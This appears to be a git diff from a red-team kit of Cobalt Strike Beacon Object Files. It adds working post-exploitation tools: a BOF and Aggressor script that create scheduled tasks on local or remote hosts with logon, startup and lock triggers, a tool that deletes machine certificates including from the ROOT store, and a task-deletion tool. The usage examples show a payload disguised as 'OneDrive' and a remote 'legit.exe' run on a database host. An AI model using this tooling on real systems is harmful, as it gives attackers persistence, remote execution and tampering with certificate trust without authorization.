+        pTaskDefinition->lpVtbl->Release(pTaskDefinition);
     }
+    if (pTaskFolder) {
+        pTaskFolder->lpVtbl->Release(pTaskFolder);
+    }
+    if (pTaskService) {
+        pTaskService->lpVtbl->Release(pTaskService);
+    }
+    
+    OLEAUT32$VariantClear(&Vhost);
+    OLEAUT32$VariantClear(&VNull);
+    OLE32$CoUninitialize();
 
-    pTaskFolder->lpVtbl->Release(pTaskFolder);
-	pTaskService->lpVtbl->Release(pTaskService);
-	
-	OLEAUT32$VariantClear(&Vhost);
-	OLEAUT32$VariantClear(&VNull);
-	OLE32$CoUninitialize();
-
-    return actionResult;
+	return actionResult;
 }
 
 
 
-
 int go(char *args, int len) {
 	BOOL res = NULL;
 	datap parser;
 	
-	CHAR *action; //create or delete
     WCHAR *taskName; 
+	WCHAR *hostName  = L""; 
     WCHAR *programPath; 
     WCHAR *programArguments  = L""; 
 	CHAR *triggerType; //onetime, daily, logon , startup, lock, unlock
@@ -445,53 +353,50 @@ int go(char *args, int len) {
 	int daysInterval = 0; 
 	WCHAR *delay = L"";
 	WCHAR *userID  = L""; 
-	WCHAR *hostName  = L""; 
+	WCHAR *repeatTask = L"";
+	
 	
 	BeaconDataParse(&parser, args, len);
-	action = BeaconDataExtract(&parser, NULL);
 	taskName = BeaconDataExtract(&parser, NULL);
 	hostName = BeaconDataExtract(&parser, NULL);
-
-	if (MSVCRT$strcmp(action, "create") == 0) {
-		
-		programPath = BeaconDataExtract(&parser, NULL);
-		programArguments = BeaconDataExtract(&parser, NULL);
-		triggerType = BeaconDataExtract(&parser, NULL);
-		
-		if (MSVCRT$strcmp(triggerType, "onetime") == 0) {
-			startTime = BeaconDataExtract(&parser, NULL);
-		}
-		if (MSVCRT$strcmp(triggerType, "daily") == 0) {
-			startTime = BeaconDataExtract(&parser, NULL);
-			expireTime = BeaconDataExtract(&parser, NULL);
-			daysInterval = BeaconDataInt(&parser);
-			delay = BeaconDataExtract(&parser, NULL);
-		}
-		if (MSVCRT$strcmp(triggerType, "logon") == 0) {
-			userID = BeaconDataExtract(&parser, NULL);
-		}
-		if (MSVCRT$strcmp(triggerType, "startup") == 0) {
-			delay = BeaconDataExtract(&parser, NULL);
-		}
-		if (MSVCRT$strcmp(triggerType, "lock") == 0) {
-			userID = BeaconDataExtract(&parser, NULL);
-			delay = BeaconDataExtract(&parser, NULL);
-		}
-		if (MSVCRT$strcmp(triggerType, "unlock") == 0) {
-			userID = BeaconDataExtract(&parser, NULL);
-			delay = BeaconDataExtract(&parser, NULL);
-		}
-
-		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID);
-	}
-	else if (MSVCRT$strcmp(action, "delete") == 0) {
-		res = DeleteScheduledTask(taskName, hostName);
+	programPath = BeaconDataExtract(&parser, NULL);
+	programArguments = BeaconDataExtract(&parser, NULL);
+	triggerType = BeaconDataExtract(&parser, NULL);
+	
+	if (MSVCRT$strcmp(triggerType, "onetime") == 0) {
+		startTime = BeaconDataExtract(&parser, NULL);
+		repeatTask = BeaconDataExtract(&parser, NULL);
+		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID, repeatTask);
+	} 
+	else if (MSVCRT$strcmp(triggerType, "daily") == 0) {
+		startTime = BeaconDataExtract(&parser, NULL);
+		expireTime = BeaconDataExtract(&parser, NULL);
+		daysInterval = BeaconDataInt(&parser);
+		delay = BeaconDataExtract(&parser, NULL);
+		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID, repeatTask);
+	} 
+	else if (MSVCRT$strcmp(triggerType, "logon") == 0) {
+		userID = BeaconDataExtract(&parser, NULL);
+		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID, repeatTask);
+	} 
+	else if (MSVCRT$strcmp(triggerType, "startup") == 0) {
+		delay = BeaconDataExtract(&parser, NULL);
+		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID, repeatTask);
+	} 
+	else if (MSVCRT$strcmp(triggerType, "lock") == 0) {
+		userID = BeaconDataExtract(&parser, NULL);
+		delay = BeaconDataExtract(&parser, NULL);
+		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID, repeatTask);
+	} 
+	else if (MSVCRT$strcmp(triggerType, "unlock") == 0) {
+		userID = BeaconDataExtract(&parser, NULL);
+		delay = BeaconDataExtract(&parser, NULL);
+		res = CreateScheduledTask(triggerType, taskName, hostName, programPath, programArguments, startTime, expireTime, daysInterval, delay, userID, repeatTask);
 	}
 	else {
-		BeaconPrintf(CALLBACK_ERROR,"Please specify one of the following options: create | delete\n");
-		return 0;
+		BeaconPrintf(CALLBACK_ERROR, "Specified triggerType is not supported.\n");
 	}
-	
+
 	return 0;
 }
 

+ 92 - 0
KIT/AddTaskScheduler/addtaskscheduler.cna

@@ -0,0 +1,92 @@
+# author REDMED-X
+
+beacon_command_register(
+	"addtaskscheduler", "Create a scheduled task (local and remote system support).",
+	"INFO:\nCreate a scheduled task on the current system or a remote host.\n\n" .
+	"BASIC ARGUMENTS:\n[taskName]: The name of the scheduled task.\n[hostName]: The FQDN of the remote host or \"\" for the current system.\n[programPath]: Path to the program that you want to run like: C:\\Windows\\System32\\cmd.exe.\n[programArguments]: Arguments that you want to pass to the program like: \"/c C:\\Windows\\System32\\calc.exe\" or \"\" to leave it empty.\n[triggerType]: The trigger that signals the execution like: onetime, daily, logon, startup, lock, unlock. For more information, check the TRIGGER OPTIONS below.\n\n" .
+	"TRIGGER OPTIONS:\n[onetime]: Create task with trigger \"On a schedule one time\".\n[daily]: Create task with trigger \"On a schedule daily.\"\n[logon]: Create task with trigger \"At log on\" (requires admin privs if set for another user or all users).\n[startup]: Create task with trigger \"At startup\" (requires admin privs).\n[lock]: Create task with trigger \"On workstation lock\" (requires admin privs if set for another user or all users).\n[unlock]: Create task with trigger \"On workstation unlock\" (requires admin privs if set for another user or all users).\n\n" .
+	"TRIGGER SPECIFIC ARGUMENTS:\n[startTime]: Start time of the trigger in format: 2023-03-24T12:08:00.\n[expireTime]: Expiration time of the trigger in format: 2023-03-24T12:08:00.\n[daysInterval]: Interval in number of days. For example: 1 or 3.\n[delay]: Random time delay after the start time in which the trigger is hit. Use format \"PT2H\" for hours and \"PT15M\" for minutes.\n[userID]: Specify the user for which the trigger is set in format: \"DOMAIN\\username\" for domain users, \"username\" for local system users and \"\" for all users (requires admin privs if set for another user or all users).\n[repeatTask]: Set \"Repeat task every x minutes/hours\" option in format \"PT2H\" with a duration of \"Indefinitely\".\n\n" .
+	"USAGE:\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" onetime <startTime> <(optional) repeatTask>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" daily <startTime> <(optional) expireTime> <(optional) daysInterval> <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" logon <(optional) userID>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" startup <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" lock <(optional) userID> <(optional) delay>\naddtaskscheduler <taskName> <(optional) hostName> <programPath> \"<(optional) programArguments>\" unlock <(optional) userID> <(optional) delay>\n\n" .
+	"EXAMPLES:\naddtaskscheduler TestTask \"\" C:\\Windows\\System32\\cmd.exe \"/c C:\\Windows\\System32\\calc.exe\" daily 2023-03-24T12:08:00 2023-03-28T12:14:00 1 PT2H\naddtaskscheduler NewTask DB01.example.local C:\\Users\\Public\\Downloads\\legit.exe \"\" logon Testdomain\\Administrator\naddtaskscheduler OneDrive \"\" C:\\Data\\OneDrive.exe \"\" unlock \"\" PT5M\n\n");
+	
+alias addtaskscheduler {
+    $bid = $1;
+	$taskName = $2; 
+	$host = $3; 
+    $programPath = $4;
+    $programArguments = $5;
+	$triggerType = $6; 
+	$optionalArg1 = $7;
+	$optionalArg2 = $8;
+	$optionalArg3 = $9;
+	$optionalArg4 = $10;
+
+
+	# Verify user input
+	if ($taskName eq "") {
+		berror($bid, "Please specify a name for the new scheduled task.\n");
+		return;
+	}
+	
+	if ($programPath eq "") {
+		berror($bid, "Please specify the path to the program that you want to run\n");
+		return;
+	}
+	
+	if ($triggerType eq "") {
+		berror($bid, "Please specify one of the following trigger options: onetime | daily | logon | startup | lock | unlock\n");
+		return;
+	}
+	
+	if ($triggerType eq "onetime" || $triggerType eq "daily" || $triggerType eq "logon" || $triggerType eq "startup" || $triggerType eq "lock" || $triggerType eq "unlock") {
+		if ($triggerType eq "onetime") {
+			if ($optionalArg1 eq "") {
+				berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
+				return;
+			}
+		}
+		if ($triggerType eq "daily") {
+			if ($optionalArg1 eq "") {
+				berror($bid, "Please specify the start time of the task in the following format: 2023-03-24T12:08:00.\n");
+				return;
+			}
+		}
+	}
+	else {
+		berror($bid, "This trigger option is not supported. Please select one of the following options: onetime | daily | logon | startup | lock | unlock\n");
+		return;
+	}
+	
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("addtaskscheduler.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+
+	if ($triggerType eq "onetime") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
+	}
+	if ($triggerType eq "daily") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZiZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2, $optionalArg3, $optionalArg4);
+	}
+	if ($triggerType eq "logon") {
+		$arg_data  = bof_pack($bid, "ZZZZzZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
+	}
+	if ($triggerType eq "startup") {
+		$arg_data  = bof_pack($bid, "ZZZZzZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1);
+	}
+	if ($triggerType eq "lock") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
+	}
+	if ($triggerType eq "unlock") {
+		$arg_data  = bof_pack($bid, "ZZZZzZZ", $taskName, $host, $programPath, $programArguments, $triggerType, $optionalArg1, $optionalArg2);
+	}
+
+	blog($bid, "Tasked to create scheduled task..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+
+}
+
+
+

+ 0 - 0
KIT/TaskScheduler/taskscheduler.h → KIT/AddTaskScheduler/addtaskscheduler.h


BIN
KIT/AddTaskScheduler/addtaskscheduler.o


+ 69 - 0
KIT/AddTaskScheduler/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/AddTaskScheduler/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc addtaskscheduler.c
+move /y addtaskscheduler.obj addtaskscheduler.o
+

+ 19 - 0
KIT/DelLocalCert/README.md

@@ -0,0 +1,19 @@
+# DelLocalCert
+Delete a local computer certificate from a specified store based on its unique thumbprint.
+
+## Arguments
+* `<store name>`: the name of the certificate store from which to delete the certificate.
+* `<thumbprint>`: the thumbprint of the certificate that you want to delete in format (all caps): `AABBCCDDEEFF00112233445566778899AABBCCDD`.
+
+## Usage
+* `dellocalcert <store name> <thumbprint>`
+
+## Example
+* `dellocalcert ROOT AABBCCDDEEFF00112233445566778899AABBCCDD`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+

+ 69 - 0
KIT/DelLocalCert/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 4 - 0
KIT/DelLocalCert/bofcompile.bat

@@ -0,0 +1,4 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc dellocalcert.c
+move /y dellocalcert.obj dellocalcert.o

+ 85 - 0
KIT/DelLocalCert/dellocalcert.c

@@ -0,0 +1,85 @@
+#include <windows.h>
+#include <wincrypt.h>
+#include <stdio.h>
+#include "dellocalcert.h"
+#include "beacon.h"
+
+#pragma comment(lib, "Crypt32.lib")
+#pragma comment(lib, "Advapi32.lib")
+
+
+BOOL deleteCertificateFromRootStore(const char *thumbprint, wchar_t *store) {
+    BOOL result = FALSE;
+    HCERTSTORE hStore = NULL;
+    PCCERT_CONTEXT pCertContext = NULL;
+
+    // Open Local Computer store
+    hStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM_W, 0, (HCRYPTPROV)NULL, CERT_SYSTEM_STORE_LOCAL_MACHINE | CERT_STORE_OPEN_EXISTING_FLAG, store);
+    if (!hStore) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to open specified certificate store.\n");
+        goto cleanup;
+    }
+
+    // Find the certificate with the matching thumbprint
+    while (pCertContext = CRYPT32$CertEnumCertificatesInStore(hStore, pCertContext)) {
+        BYTE certThumbprint[20];
+        DWORD certThumbprintSize = sizeof(certThumbprint);
+        CHAR certThumbprintStr[41];
+
+        // Get the "Thumbprint" property
+        if (CRYPT32$CertGetCertificateContextProperty(pCertContext, CERT_SHA1_HASH_PROP_ID, certThumbprint, &certThumbprintSize)) {
+            for (DWORD i = 0; i < certThumbprintSize; ++i) {
+                MSVCRT$sprintf(certThumbprintStr + (i * 2), "%02X", certThumbprint[i]);
+            }
+            certThumbprintStr[40] = '\0';
+
+            // Check if the thumbprint matches
+            if (MSVCRT$strcmp(certThumbprintStr, thumbprint) == 0) {
+                break;
+            }
+        }
+    }
+
+    if (!pCertContext) {
+        BeaconPrintf(CALLBACK_ERROR, "Certificate not found in the store based on the provided thumbprint.\n");
+        goto cleanup;
+    }
+	
+    // Delete the certificate from the store
+    if (!CRYPT32$CertDeleteCertificateFromStore(pCertContext)) {
+        DWORD dwError = KERNEL32$GetLastError();
+        BeaconPrintf(CALLBACK_ERROR, "Failed to delete certificate from the store with error code: %x\n", dwError);
+        goto cleanup;
+    }
+	
+    result = TRUE;
+    BeaconPrintf(CALLBACK_OUTPUT, "[+] Certificate deleted successfully from store!\n");
+
+cleanup:
+    if (hStore) CRYPT32$CertCloseStore(hStore, 0);
+    if (pCertContext) CRYPT32$CertFreeCertificateContext(pCertContext);
+    return result;
+}
+
+
+
+int go(char *args, int len) {
+    WCHAR *store = NULL; // Options: ROOT, MY, TRUST, CA, USERDS, AuthRoot, Disallowed
+    CHAR *thumbprint = NULL; // must be all caps like 8D435430B9A409885ED90B3103F43EB85FCC0969
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	store = BeaconDataExtract(&parser, NULL);
+	thumbprint = BeaconDataExtract(&parser, NULL);
+	
+	if(store != NULL) {
+		if(thumbprint != NULL) {
+			deleteCertificateFromRootStore(thumbprint, store);
+		}
+		else BeaconPrintf(CALLBACK_ERROR,"Please specify a thumbprint.\n");
+	}
+	else BeaconPrintf(CALLBACK_ERROR,"Please specify a store name.\n");
+	
+    return 0;
+}
+

+ 38 - 0
KIT/DelLocalCert/dellocalcert.cna

@@ -0,0 +1,38 @@
+# author REDMED-X
+
+beacon_command_register(
+	"dellocalcert", "Delete a local computer certificate from a specific store.",
+	"INFO:\nDelete a local computer certificate from a specified store based on its unique thumbprint.\n\n" . 
+	"ARGUMENTS:\n[<store name>]: the name of the certificate store from which to delete the certificate.\n[<thumbprint>]: the thumbprint of the certificate that you want to delete in format (all caps): AABBCCDDEEFF00112233445566778899AABBCCDD.\n\n" .
+	"USAGE:\ndellocalcert <store name> <thumbprint>\n\n" .
+	"EXAMPLES:\ndellocalcert ROOT AABBCCDDEEFF00112233445566778899AABBCCDD\n\n");
+	
+
+alias dellocalcert {
+    $bid = $1;
+	$store = $2;
+    $thumbprint = $3;
+	
+	if ($store eq "") {
+		berror($bid, "Please specify a valid local computer certificate store name like ROOT.\n");
+		return;
+	}
+
+	if ($thumbprint eq "") {
+		berror($bid, "Please specify the thumbprint for the certificate that you want to delete from the store.\n");
+		return;
+	}
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("dellocalcert.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data  = bof_pack($bid, "Zz", $store, $thumbprint);
+
+	blog($bid, "Tasked to delete a certificate..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 15 - 0
KIT/DelLocalCert/dellocalcert.h

@@ -0,0 +1,15 @@
+#include <windows.h>  
+
+//deleteCertificateFromRootStore
+DECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertOpenStore(LPCWSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV hCryptProv, DWORD dwFlags, const void *pvPara);
+DECLSPEC_IMPORT HCERTSTORE WINAPI CRYPT32$CertEnumCertificatesInStore(HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertFreeCertificateContext(PCCERT_CONTEXT pCertContext);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertCloseStore(HCERTSTORE hCertStore, DWORD dwFlags);
+WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t * _Format, ...);
+WINBASEAPI int __cdecl MSVCRT$sprintf(char * _DstBuf, const char * _Format, ...);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertDeleteCertificateFromStore(PCCERT_CONTEXT pCertContext);
+DECLSPEC_IMPORT BOOL WINAPI CRYPT32$CertGetCertificateContextProperty(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); //TEST
+WINBASEAPI int __cdecl MSVCRT$_snwprintf_s(wchar_t * _DstBuf, size_t _DstSize, size_t _MaxCount, const wchar_t * _Format, ...);
+WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);
+

BIN
KIT/DelLocalCert/dellocalcert.o


+ 22 - 0
KIT/DelTaskScheduler/README.md

@@ -0,0 +1,22 @@
+# DelTaskScheduler
+Delete a scheduled task on the current system or a remote host.
+
+>The tool returns error codes if the operation fails. The most common error codes for deleting a task are: 80070005 (not enough privileges), and 80070002 (scheduled task doesn't exist). 
+
+## Arguments
+* `taskName`: The name of the scheduled task.
+* `hostName`: The FQDN of the remote host or leave empty for the current system. 
+
+## Usage
+* `deltaskscheduler <taskName> <(optional) hostName>`
+
+## Examples
+* `deltaskscheduler TestTask`
+* `deltaskscheduler TestTask DB01.example.local`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+

+ 69 - 0
KIT/DelTaskScheduler/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/DelTaskScheduler/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc deltaskscheduler.c
+move /y deltaskscheduler.obj deltaskscheduler.o
+

+ 89 - 0
KIT/DelTaskScheduler/deltaskscheduler.c

@@ -0,0 +1,89 @@
+#include <stdio.h>
+#include <windows.h>
+#include <taskschd.h>
+#include <combaseapi.h>
+#include "deltaskscheduler.h"
+#include "beacon.h"
+
+
+BOOL DeleteScheduledTask(wchar_t* taskName, wchar_t* host) {
+    BOOL actionResult = FALSE;
+	HRESULT hr = S_OK;
+
+    hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
+    if (FAILED(hr)) return actionResult;
+
+	IID CTaskScheduler = {0x0f87369f, 0xa4e5, 0x4cfc, {0xbd,0x3e,0x73,0xe6,0x15,0x45,0x72,0xdd}};
+	IID IIDITaskService = {0x2faba4c7, 0x4da9, 0x4013, {0x96, 0x97, 0x20, 0xcc, 0x3f, 0xd4, 0x0f, 0x85}};
+	ITaskService *pTaskService = NULL;
+    hr = OLE32$CoCreateInstance(&CTaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IIDITaskService, (void**)&pTaskService);
+    if (FAILED(hr)) {
